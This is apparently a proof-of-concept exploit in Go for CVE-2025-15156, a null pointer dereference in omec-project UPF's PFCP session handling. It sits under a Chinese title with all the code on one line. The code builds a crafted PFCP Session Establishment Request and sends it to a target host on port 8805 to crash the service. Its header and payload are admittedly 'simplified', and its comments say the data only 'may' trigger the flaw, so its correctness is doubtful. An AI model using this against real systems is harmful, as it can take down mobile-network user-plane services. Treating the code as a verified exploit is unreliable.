CVE-2025-15156: omec-project UPF PFCP会话处理空指针解引用漏洞

package main import ( "bytes" "encoding/binary" "fmt" "net" "time" ) // PFCP IE Types const ( IE_CREATE_PDR = 1 IE_SESSION_ESTABLISHMENT = 20 ) // PFCP Header type PFCPHeader struct { Version uint8 MessageType uint8 Length uint32 SEID uint64 } // Create malicious PFCP Session Establishment Request func createMaliciousPFCPRequest() []byte { var buf bytes.Buffer // PFCP Header header := PFCPHeader{ Version: 1, MessageType: IE_SESSION_ESTABLISHMENT, Length: 0, SEID: 0, } // Write header (simplified) buf.WriteByte((header.Version << 5) | header.MessageType) buf.WriteByte(0x00) // Flags binary.Write(&buf, binary.BigEndian, uint16(header.Length)) // Malicious IE with crafted data to trigger null dereference // This IE structure may cause handleSessionEstablishmentRequest // to access uninitialized pointers buf.WriteByte(0x00) // Type buf.WriteByte(0x00) // Length high buf.WriteByte(0x01) // Length low buf.WriteByte(0x00) // Instance buf.WriteByte(0x00) // Malformed data return buf.Bytes() } func exploitCVE202515156(target string, port int) error { addr := fmt.Sprintf("%s:%d", target, port) conn, err := net.DialTimeout("tcp", addr, 10*time.Second) if err != nil { return fmt.Errorf("connection failed: %v", err) } defer conn.Close() // Send malicious PFCP request payload := createMaliciousPFCPRequest() _, err = conn.Write(payload) if err != nil { return fmt.Errorf("send failed: %v", err) } fmt.Printf("[+] Malicious PFCP request sent to %s\n", addr) return nil } func main() { target := "<target-ip>" port := 8805 // Default PFCP port fmt.Println("CVE-2025-15156 PoC - omec-project UPF Null Pointer Dereference") err := exploitCVE202515156(target, port) if err != nil { fmt.Printf("[-] Exploit failed: %v\n", err) } }